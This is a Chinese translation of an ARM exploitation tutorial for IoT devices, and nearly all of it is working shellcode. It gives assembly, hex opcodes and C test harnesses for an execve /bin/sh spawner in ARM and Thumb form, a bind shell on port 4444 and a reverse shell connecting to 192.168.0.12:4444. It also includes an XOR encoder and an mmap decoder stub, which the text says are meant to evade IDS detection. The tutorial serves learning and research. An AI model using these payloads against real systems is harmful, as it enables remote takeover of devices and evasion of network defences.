原文地址:https://quequero.org/2017/09/arm-exploitation-iot-episode-2/
作者:andrea sindoni
翻译:大部分来源于谷歌的网页翻译,对谷歌翻译表示感谢。也许谷歌翻译的算法对逆向的理解比我深刻还优雅多了,哈哈
介绍
在part 1,我们已经看到了一些简单的ARM应用程序的逆向的介绍,我们也看到了如何设置工作环境以及如何编写一个hello world(还有syscall)。
在这一集中,我们将使用相同的工作环境。
ARM shellcoding
我们将看到一些基本的shellcode:
Shell spawning shellcode
Bind TCP shellcode
Reverse shell shellcode
Load and execute a shell from memory
Encode the shellcode
Shell spawning shellcode
在本节中,我们将看到如何使用execve系统调用为/ bin / sh程序的执行生成一个shell 。
遵循的主要步骤非常简单,我们只需要:
- 找到execve系统调用号
- 填入execve系统调用的参数
1- 找到execve系统调用号
root@raspberrypi:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep execve
#define __NR_execve (__NR_SYSCALL_BASE+ 11)
那么系统调用号是11
2- 填写execve系统调用的参数
int execve(const char *filename, char *const argv[],char *const envp[]);
r0 = /bin/sh/
r1 = [address of /bin/sh, 0x00]
r2 = 0
可以得到execve函数的各个参数了
execve(“/bin/sh”, [“/bin/sh”, 0], 0)
完整的汇编程序: execve.s
.text
.global _start
_start:
@ execve("/bin/sh",["/bin/sh", 0], 0)
mov r0, pc
add r0, #32
sub r2, r2, r2
push {r0, r2}
mov r1, sp
mov r7, #11
swi #0
_exit:
mov r0, #0
mov r7, #1
swi #0 @ exit
shell: .asciz "/bin/sh"
汇编、链接:
root@raspberrypi:/home/pi/arm/episode2# as -o execve.o execve.s
root@raspberrypi:/home/pi/arm/episode2# ld -o execve execve.o
root@raspberrypi:/home/pi/arm/episode2# ./execve
#pwd
/home/pi/arm/episode2
提取opcode
for i in $(objdump -d execve | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'
\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00
运行测试(文件: test_execve.c)
#include <stdio.h>
char *code= "\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00";
int main(void) {
(*(void(*)()) code)();
return 0;
}
编译并执行
root@raspberrypi:/home/pi/arm/episode2# gcc -o test_execve test_execve.c
root@raspberrypi:/home/pi/arm/episode2# ./test_execve
#pwd
/home/pi/arm/episode2
Thumb指令集的影响
Thumb由32位ARM指令的一个子集组成一个16位指令集。Thumb只能用于内存受限的环境,因为它在16位数据总线的处理器上比普通ARM代码具有更高的性能,但是在具有32位数据总线的处理器上性能较低。
有不同的方法进入和退出Thumb状态,在下面的例子中,我们将看到一个最常用的方法,它包括打开程序计数器的最低有效位并调用BX(分支和交换)指令。
Thumb 版的execve shellcode
这是Thumb模式下新的execve shellcode的源代码 (文件: execveT.s)
.text
.global _start
_start:
@ execve("/bin/sh",["/bin/sh", 0], 0)
.code 32
add r6, pc, #1 @ turn on the least-significant bit of the program counter
bx r6 @ Branch and Exchange
.code 16
mov r0, pc
add r0, #16
sub r2, r2, r2
push {r0, r2}
mov r1, sp
mov r7, #11
swi #0
_exit:
mov r0, #0
mov r7, #1
swi #0 @ exit(0)
.asciz "/bin/sh"
汇编、链接和执行程序
root@raspberrypi:/home/pi/arm/episode2# as -o execveT.o execveT.s
root@raspberrypi:/home/pi/arm/episode2# ld -o execveT execveT.o
root@raspberrypi:/home/pi/arm/episode2# ./execveT
#pwd
/home/pi/arm/episode2
提取opcodes
for i in $(objdump -d execveT | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'
\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x78\x46\x10\x30\x92\x1a\x05\xb4\x69\x46\x0b\x27\x00\xdf\x00\x20\x01\x27\x00\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x00
正如预期的那样,shellcode的大小比以前的ARM shellcode小,我们来测试一下 (文件: test_execveT.c)
#include <stdio.h>
char *code= "\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x78\x46\x10\x30\x92\x1a\x05\xb4\x69\x46\x0b\x27\x00\xdf\x00\x20\x01\x27\x00\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x00";
int main(void) {
(*(void(*)()) code)();
return 0;
}
编译并执行程序
root@raspberrypi:/home/pi/arm/episode2# gcc -o test_execveT test_execveT.c
root@raspberrypi:/home/pi/arm/episode2# ./test_execveT
#pwd
/home/pi/arm/episode2
Bind TCP shellcode
在本节中,我们将看到一个TCP端口绑定shellcode,这里的目的是将shell绑定到侦听传入连接的网络端口。
在这种情况下要做的步骤是:
- 创建一个套接字(TCP)
- 将创建的套接字绑定到地址/端口
- 使用系统调用侦听传入的连接
- 使用系统调用接受
- 使用dup2 syscall重定向stdin,stdout和stderr
- 使用execve系统调用
1- 创建一个套接字(TCP)
获取socket系统调用的系统调用号
root@raspberrypi:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep socket
#define __NR_socketcall (__NR_SYSCALL_BASE+102)
#define __NR_socket (__NR_SYSCALL_BASE+281)
#define __NR_socketpair (__NR_SYSCALL_BASE+288)
#undef __NR_socketcall
正如你可以从上面的输出中看到,这是不可能利用的socketcall系统调用,但我们可以直接使用socket系统调用 :)。我们来看看如何使用各自的参数调用socket系统调用
@ sockfd = socket(int socket_family, int socket_type, int protocol);
mov r0, #2 @ PF_INET = 2
mov r1, #1 @ SOCK_STREAM = 1
mov r2, #0 @ IPPROTO_IP = 0
ldr r7, =#281 @ socket syscall
swi 0
@ r0 contains the fd returned by the syscall
mov r6, r0 @ save the file descriptor into r6
2- 将创建的socket绑定到地址/端口
我们必须将文件描述符(保存到r6)绑定到一个地址/端口,为了做到这一点,我们必须使用bind系统调用
root@raspberrypi:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep bind
#define __NR_bind (__NR_SYSCALL_BASE+282)
#define __NR_mbind (__NR_SYSCALL_BASE+319)
我们有系统调用号,现在让我们来看一下bind系统调用的参数
@ int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
这是第二个参数的结构的定义
struct sockaddr_in {
__kernel_sa_family_t sin_family; /* Address family */
__be16 sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
};
在我们的例子中,我们有
sin_addr=0
sin_port=4444
sin_family=AF_INET (0x2)
我们拥有编写代码所需的一切
mov r1, #0x5C @ r1=0x5c
mov r5, #0x11 @ r5=0x11
mov r1, r1, lsl #24 @ r1=0x5c000000
add r1, r1, r5, lsl #16 @ r1=0x5c110000 - port number=4444(0x115C)
add r1, #2 @ r1=0x5c110002 - sin_family+sin_port
sub r2, r2, r2 @ sin_addr
push {r1, r2} @ push into the stack r1 and r2
mov r1, sp @ save pointer to sockaddr_in struct
mov r2, #0x10 @ addrlen
mov r0, r6 @ mov sockfd into r0
ldr r7, =#282 @ bind syscall number
swi 0
3- 使用listen系统调用监听传入的连接
看一下listen系统调用的号
root@raspberrypi:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep listen
#define __NR_listen (__NR_SYSCALL_BASE+284)
让我们看一下listen系统调用的参数并填充它们
@ int listen(int sockfd, int backlog);
mov r0, r6 @ mov sockfd into r0
mov r1, #1 @ backlog=1
ldr r7, =#284 @ listen syscall
swi 0
4- 使用accept接受连接请求
看看accept系统调用的号
root@raspberrypi:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep accept
#define __NR_accept (__NR_SYSCALL_BASE+285)
#define __NR_accept4 (__NR_SYSCALL_BASE+366)
让我们看一下accept系统调用的参数并填充它们m
@ int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
mov r0, r6 @ mov sockfd into r0
sub r1, r1, r1 @ addr=0
sub r2, r2, r2 @ addrlen=0
ldr r7, =#285
swi 0
5- 使用dup2 syscall重定向stdin,stdout和stderr
看看dup2系统调用的号
root@raspberrypi:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep dup2
#define __NR_dup2 (__NR_SYSCALL_BASE+ 63)
让我们看看dup2系统调用的参数并填充它们
@ Redirect stdin, stdout and stderr via dup2
mov r1, #2 @ counter stdin(0), stdout(1) and stderr(2)
loop:
mov r7, #63 @ dup2 syscall
swi 0
sub r1, r1, #1 @ decrement counter
cmp r1, #-1 @ compare r1 with -1
bne loop @ if the result is not equal jmp to loop
6- 使用execve系统调用
我们使用“Shell spawning shellcode”小节中的代码
@ int execve(const char *filename, char *const argv[],char *const envp[]);
mov r0, pc
add r0, #32
sub r2, r2, r2
push {r0, r2}
mov r1, sp
mov r7, #11
swi 0
_exit:
mov r0, #0
mov r7, #1
swi 0 @ exit(0)
.asciz "/bin/sh"
这是完整shellcode (文件: bind.s)
@.syntax unified
.global _start
_start:
@ sockfd = socket(int socket_family, int socket_type, int protocol);
mov r0, #2 @ PF_INET = 2
mov r1, #1 @ SOCK_STREAM = 1
mov r2, #0 @ IPPROTO_IP = 0
ldr r7, =#281 @ socketcall
swi 0
@ r0 contains the fd returned by the syscall
mov r6, r0 @ file descriptor
@ bind the file descriptor to an address/port
@ int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
@struct sockaddr_in {
@ __kernel_sa_family_t sin_family; /* Address family */
@ __be16 sin_port; /* Port number */
@ struct in_addr sin_addr; /* Internet address */
@};
@sin_addr=0
@sin_port=4444
@sin_family=AF_INET
mov r1, #0x5C @ r1=0x5c
mov r5, #0x11 @ r5=0x11
mov r1, r1, lsl #24 @ r1=0x5c000000
add r1, r1, r5, lsl #16 @ r1=0x5c110000 - port number=4444(0x115C)
add r1, #2 @ r1=0x5c110002 - sin_family+sin_port
sub r2, r2, r2 @ sin_addr
push {r1, r2} @ push into the stack r1 and r2
mov r1, sp @ save pointer to sockaddr_in struct
mov r2, #0x10 @ addrlen
mov r0, r6 @ mov sockfd into r0
ldr r7, =#282 @ bind syscall
swi 0
@ listen for incoming connections via SYS_LISTEN
@ int listen(int sockfd, int backlog);
mov r0, r6 @ mov sockfd into r0
mov r1, #1 @ backlog=1
ldr r7, =#284 @ listen syscall
swi 0
@ Accept connections
@ int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
mov r0, r6 @ mov sockfd into r0
sub r1, r1, r1 @ addr=0
sub r2, r2, r2 @ addrlen=0
ldr r7, =#285 @ accept syscall
swi 0
@ Redirect stdin, stdout and stderr via dup2
mov r1, #2 @ counter stdin(0), stdout(1) and stderr(2)
loop:
mov r7, #63 @ dup2 syscall
swi 0
sub r1, r1, #1 @ decrement counter
cmp r1, #-1 @ compare r1 with -1
bne loop @ if the result is not equal jmp to loop
@ int execve(const char *filename, char *const argv[],char *const envp[]);
mov r0, pc
add r0, #32
sub r2, r2, r2
push {r0, r2}
mov r1, sp
mov r7, #11
swi 0
_exit:
mov r0, #0
mov r7, #1
swi 0 @ exit(0)
.asciz "/bin/sh"
汇编、链接
root@raspberrypi:/home/pi/arm/episode2# as -o bind.o bind.s
root@raspberrypi:/home/pi/arm/episode2# ld -o bind bind.o
测试
root@raspberrypi:/home/pi/arm/episode2# ./bind
root@raspberrypi:/home/pi/arm/episode2# netstat -anpt | grep bind
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 15008/bind
提取opcode
for i in $(objdump -d bind | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'
\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\xa0\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x02\x20\x42\xe0\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x70\x70\x9f\xe5\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\xa0\xe3\x47\x7f\xa0\xe3\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\x41\xe0\x02\x20\x42\xe0\x50\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xfa\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\x1a\x01\x00\x00\x1d\x01\x00\x00
测试 (文件: test_bind.c)
#include <stdio.h>
char *code="\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\xa0\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x02\x20\x42\xe0\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x70\x70\x9f\xe5\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\xa0\xe3\x47\x7f\xa0\xe3\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\x41\xe0\x02\x20\x42\xe0\x50\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xfa\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\x1a\x01\x00\x00\x1d\x01\x00\x00";
int main(void) {
(*(void(*)()) code)();
return 0;
}
编译
root@raspberrypi:/home/pi/arm/episode2# gcc -o test_bind test_bind.c
测试
Reverse shell shellcode
在本节中,我们将看到一个TCP反向shell shellcode。目的是打开一个反向连接到配置的IP和端口并执行一个shell的shell。
接下来的步骤是:
- 创建一个套接字
- 连接到IP /端口
- 通过dup2重定向stdin,stdout和stderr
- 执行一个/ bin / sh
1- 创建一个TCP套接字
在前面的章节中我们已经看到套接字系统调用号是281
继续填充参数
@ sockfd = socket(int socket_family, int socket_type, int protocol);
mov r0, #2 @ PF_INET = 2
mov r1, #1 @ SOCK_STREAM = 1
mov r2, #0 @ IPPROTO_IP = 0
ldr r7, =#281 @ socketcall
swi 0
@ r0 contains the fd returned by the syscall
mov r6, r0 @ file descriptor
2- 连接到IP /端口
看看connect系统调用号
root@raspberrypi:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep connect
#define __NR_connect (__NR_SYSCALL_BASE+283)
我们来看一下connect系统调用的参数并填充它们
@ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
struct sockaddr_in {
__kernel_sa_family_t sin_family; /* Address family */
__be16 sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
};
sin_addr=192.168.0.12
sin_port=4444
sin_family=AF_INET
我们拥有编写代码所需的一切
mov r1, #0x5C @ r1=0x5c
mov r5, #0x11 @ r5=0x11
mov r1, r1, lsl #24 @ r1=0x5c000000
add r1, r1, r5, lsl #16 @ r1=0x5c110000 - port number=4444(0x115C)
add r1, #2 @ r1=0x5c110002 - sin_family+sin_port
ldr r2, =#0x0c00a8c0 @ sin_addr=192.168.0.12 each octet is represented by one byte
push {r1, r2} @ push into the stack r1 and r2
mov r1, sp @ save pointer to sockaddr_in struct
mov r2, #0x10 @ addrlen
mov r0, r6 @ mov sockfd into r0
ldr r7, =#283 @ connect syscall
swi 0
3- 通过dup2重定向stdin,stdout和stderr
我们已经看到dup2系统调用号码是63
让我们看看dup2系统调用的参数并填充它们
@ Redirect stdin, stdout and stderr via dup2
mov r1, #2 @ counter stdin(0), stdout(1) and stderr(2)
loop:
mov r0, r6 @ mov sockfd into r0
mov r7, #63 @ dup2 syscall
swi 0
sub r1, r1, #1 @ decrement counter
cmp r1, #-1 @ compare r1 with -1
bne loop @ if the result is not equal jmp to loop
4- 执行一个 /bin/sh
我们使用“Shell spawning shellcode”小节中的代码
@ int execve(const char *filename, char *const argv[],char *const envp[]);
mov r0, pc
add r0, #32
sub r2, r2, r2
push {r0, r2}
mov r1, sp
mov r7, #11
swi 0
_exit:
mov r0, #0
mov r7, #1
swi 0 @ exit(0)
shell: .asciz "/bin/sh"
编译和链接 reverse_shell.s
root@raspberrypi:/home/pi/arm/chapter3# as -o reverse_shell.o reverse_shell.s
root@raspberrypi:/home/pi/arm/chapter3# ld -o reverse_shell reverse_shell.o
提取opcode
for i in $(objdump -d reverse_shell | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'
\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\x80\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x64\x20\x9f\xe5\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x54\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x06\x00\xa0\xe1\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xf9\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\xc0\xa8\x00\x0c\x1b\x01\x00\x00
测试
#include <stdio.h>
char *code= "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\x80\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x64\x20\x9f\xe5\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x54\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x06\x00\xa0\xe1\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xf9\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\xc0\xa8\x00\x0c\x1b\x01\x00\x00";
int main(void) {
(*(void(*)()) code)();
return 0;
}
root@raspberrypi:/home/pi/arm/episode2# gcc -o test_reverse test_reverse.c
受害者机器
远程 (192.168.0.12)
现在我们从远程机器上进行控制
Load and execute a shell from memory
在本章中,我们将看到如何创建一个从内存中加载和执行execve shellcode的shellcode。
我们先从execve shellcode(file:execve)的opcodode开始,
提取opcode
for i in $(objdump -d execve | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'
\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00
创建一个简单的编码器
对shellcode进行编码通常由于以下原因:
- 避免检测IDS和/或网络传感器
- 避免不好的字符
execve shellcode包含字符串/ bin / sh,这个字符串可以通过基于网络的传感器很容易地检测到,我们将看到一个编码所有execve的shellcode的方法。
为了构建编码器,我们将使用两个异或键,一个键用于对位置6和12中的字节进行编码,另一个用于其余的代码。
这是一个简单的C编码器的源代码
文件: encoder.c
#include <stdio.h>
int main()
{
//execve shellcode
unsigned char shellcode[] = "\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00";
int len = 48;
char out[len];
int i;
for(i=0; i<len; i++){
if(i==6 || i==12){
out[i] = shellcode[i] ^ 0x12;
printf("0x%x,", out[i]);
out[i]++;
}else{
out[i] = shellcode[i] ^ 0x47;
if(i==47){
printf("0x%x\n", out[i]);
}else{
printf("0x%x,", out[i]);
}
out[i]++;
}
}
return 0;
}
编译并执行编码器程序
root@raspberrypi:/home/pi/arm/episode2# gcc -o encoder encoder.c
root@raspberrypi:/home/pi/arm/episode2# ./encoder
0x48,0x47,0xe7,0xa6,0x67,0x47,0x92,0xa5,0x45,0x67,0x5,0xa7,0x17,0x47,0x6a,0xae,0x4a,0x57,0xe7,0xa6,0x4c,0x37,0xe7,0xa4,0x47,0x47,0x47,0xa8,0x47,0x47,0xe7,0xa4,0x46,0x37,0xe7,0xa4,0x47,0x47,0x47,0xa8,0x68,0x25,0x2e,0x29,0x68,0x34,0x2f,0x47
我们现在可以编写映射新内存区域的shellcode,将execve shellcode解码到新分配的区域,并从内存启动execve shellcode,执行步骤如下:
- 创建一个可写和可执行的内存区域
- 将shellcode的解码算法和解码的字节写入到新分配的区域
- 跳到新的分配区域执行shellcode
要映射新的内存区域,我们使用mmap2系统调用
root@raspberrypi:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep mmap
#define __NR_mmap (__NR_SYSCALL_BASE+ 90)
#define __NR_mmap2 (__NR_SYSCALL_BASE+192)
#undef __NR_mmap
我们开始编写代码
@ mapping new area of memory in the heap
mov r4, #0xffffffff @ file descriptor
ldr r0, =0x00030000 @ address
ldr r1, =0x1000 @ size totale della mapping table
mov r2, #7 @ prot
mov r3, #0x32 @ flags
mov r5, #0 @ offset
mov r7, #192 @ syscall number
swi #0 @ mmap2(0x30000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x30000
2- 将shellcode的解码算法和解码的字节写入到新分配的区域
mov r8, #48 @ size of the shellcode
mov r1, pc @ move into r1 the pc
add r1, #76 @ address of the shellcode
ldr r5, =#0x12 @ xor key1
ldr r6, =#0x47 @ xor key2
mov r9, r0 @ save return address of the mnmap
mov r4, #0 @ index for the loop
start:
ldrb r2, [r1, r4] @ store into r2 the byte at the location (r1 + r4)
cmp r4, #6 @ check the number of the index (r4)
bne xor2 @ if r4 is not equal to 6 jmp to xor2
xor1:
eor r2, r2, r5 @ decoder alghorithm with xor key1
strb r2, [r9, r4] @ save the decoded byte into the allocated memory
add r4, #1 @ increment the index by 1
b start @ jump to start
xor2:
cmp r4, #12 @ check the number of the index (r4)
beq xor1 @ if r4 is equal to 12 jmp to xor1
eor r2, r2, r6 @ decoder alghorithm with xor key2
strb r2, [r9, r4] @ save the decoded byte into the allocated memory
add r4, #1 @ increment the index by 1
cmp r4, r8 @ check the index with the size of the shellcode
bne start @ if index!=sizeOfShellcode jump to start
3- 跳到新的分配区域执行shellcode
end:
blx r9 @ jmp to the allocated area
所有的源代码 (文件: decoder.s)
.global _start
_start:
@ mapping new area of memory in the heap
mov r4, #0xffffffff @ file descriptor
ldr r0, =0x00030000 @ address
ldr r1, =0x1000 @ size totale della mapping table
mov r2, #7 @ prot
mov r3, #0x32 @ flags
mov r5, #0 @ offset
mov r7, #192 @ syscall number
swi #0 @ mmap2(0x30000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x30000
mov r8, #48 @ size of the shellcode
mov r1, pc @ move into r1 the pc
add r1, #76 @ address of the shellcode
ldr r5, =#0x12 @ xor key1
ldr r6, =#0x47 @ xor key2
mov r9, r0 @ save return address of the mnmap
mov r4, #0 @ index for the loop
start:
ldrb r2, [r1, r4] @ store into r2 the byte at the location (r1 + r4)
cmp r4, #6 @ check the number of the index (r4)
bne xor2 @ if r4 is not equal to 6 jmp to xor2
xor1:
eor r2, r2, r5 @ decoder alghorithm with xor key1
strb r2, [r9, r4] @ save the decoded byte into the allocated memory
add r4, #1 @ increment the index by 1
b start @ jump to start
xor2:
cmp r4, #12 @ check the number of the index (r4)
beq xor1 @ if r4 is equal to 12 jmp to xor1
eor r2, r2, r6 @ decoder alghorithm with xor key2
strb r2, [r9, r4] @ save the decoded byte into the allocated memory
add r4, #1 @ increment the index by 1
cmp r4, r8 @ check the index with the size of the shellcode
bne start @ if index!=sizeOfShellcode jump to start
end:
blx r9 @ jmp to the allocated area
shellcode: .byte 0x48,0x47,0xe7,0xa6,0x67,0x47,0x92,0xa5,0x45,0x67,0x5,0xa7,0x17,0x47,0x6a,0xae,0x4a,0x57,0xe7,0xa6,0x4c,0x37,0xe7,0xa4,0x47,0x47,0x47,0xa8,0x47,0x47,0xe7,0xa4,0x46,0x37,0xe7,0xa4,0x47,0x47,0x47,0xa8,0x68,0x25,0x2e,0x29,0x68,0x34,0x2f,0x47
编译和链接
root@raspberrypi:/home/pi/arm/episode2# as -o decoder.o decoder.s
root@raspberrypi:/home/pi/arm/episode2# ld -o decoder decoder.o
测试解码器的shellcode
我们从字节提取开始:
root@raspberrypi:/home/pi/arm/episode2# for i in $(objdump -d decoder | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'
\x00\x40\xe0\xe3\x03\x08\xa0\xe3\x01\x1a\xa0\xe3\x07\x20\xa0\xe3\x32\x30\xa0\xe3\x00\x50\xa0\xe3\xc0\x70\xa0\xe3\x00\x00\x00\xef\x30\x80\xa0\xe3\x0f\x10\xa0\xe1\x4c\x10\x81\xe2\x12\x50\xa0\xe3\x47\x60\xa0\xe3\x00\x90\xa0\xe1\x00\x40\xa0\xe3\x04\x20\xd1\xe7\x06\x00\x54\xe3\x03\x00\x00\x1a\x05\x20\x22\xe0\x04\x20\xc9\xe7\x01\x40\x84\xe2\xf8\xff\xff\xea\x0c\x00\x54\xe3\xf9\xff\xff\x0a\x06\x20\x22\xe0\x04\x20\xc9\xe7\x01\x40\x84\xe2\x08\x00\x54\xe1\xf1\xff\xff\x1a\x39\xff\x2f\xe1\x48\x47\xe7\xa6\x67\x47\x92\xa5\x45\x67\x05\xa7\x17\x47\x6a\xae\x4a\x57\xe7\xa6\x4c\x37\xe7\xa4\x47\x47\x47\xa8\x47\x47\xe7\xa4\x46\x37\xe7\xa4\x47\x47\x47\xa8\x68\x25\x2e\x29\x68\x34\x2f\x47
测试解码器的shellcode (test_decoder.c )
#include <stdio.h>
char *code= "\x00\x40\xe0\xe3\x03\x08\xa0\xe3\x01\x1a\xa0\xe3\x07\x20\xa0\xe3\x32\x30\xa0\xe3\x00\x50\xa0\xe3\xc0\x70\xa0\xe3\x00\x00\x00\xef\x30\x80\xa0\xe3\x0f\x10\xa0\xe1\x4c\x10\x81\xe2\x12\x50\xa0\xe3\x47\x60\xa0\xe3\x00\x90\xa0\xe1\x00\x40\xa0\xe3\x04\x20\xd1\xe7\x06\x00\x54\xe3\x03\x00\x00\x1a\x05\x20\x22\xe0\x04\x20\xc9\xe7\x01\x40\x84\xe2\xf8\xff\xff\xea\x0c\x00\x54\xe3\xf9\xff\xff\x0a\x06\x20\x22\xe0\x04\x20\xc9\xe7\x01\x40\x84\xe2\x08\x00\x54\xe1\xf1\xff\xff\x1a\x39\xff\x2f\xe1\x48\x47\xe7\xa6\x67\x47\x92\xa5\x45\x67\x05\xa7\x17\x47\x6a\xae\x4a\x57\xe7\xa6\x4c\x37\xe7\xa4\x47\x47\x47\xa8\x47\x47\xe7\xa4\x46\x37\xe7\xa4\x47\x47\x47\xa8\x68\x25\x2e\x29\x68\x34\x2f\x47";
int main(void) {
(*(void(*)()) code)();
return 0;
}
编译并执行程序
root@raspberrypi:/home/pi/arm/episode2# gcc -o test_decoder test_decoder.c
Encode the shellcode
在这最后一个例子中,我们将看到需要对shellcode进行编码的情况。我们将分析execve shellcode。
